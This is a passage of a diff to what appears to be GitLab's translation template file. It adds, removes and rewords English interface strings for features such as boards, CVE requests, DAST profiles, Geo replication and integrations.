msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5448,6 +5615,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
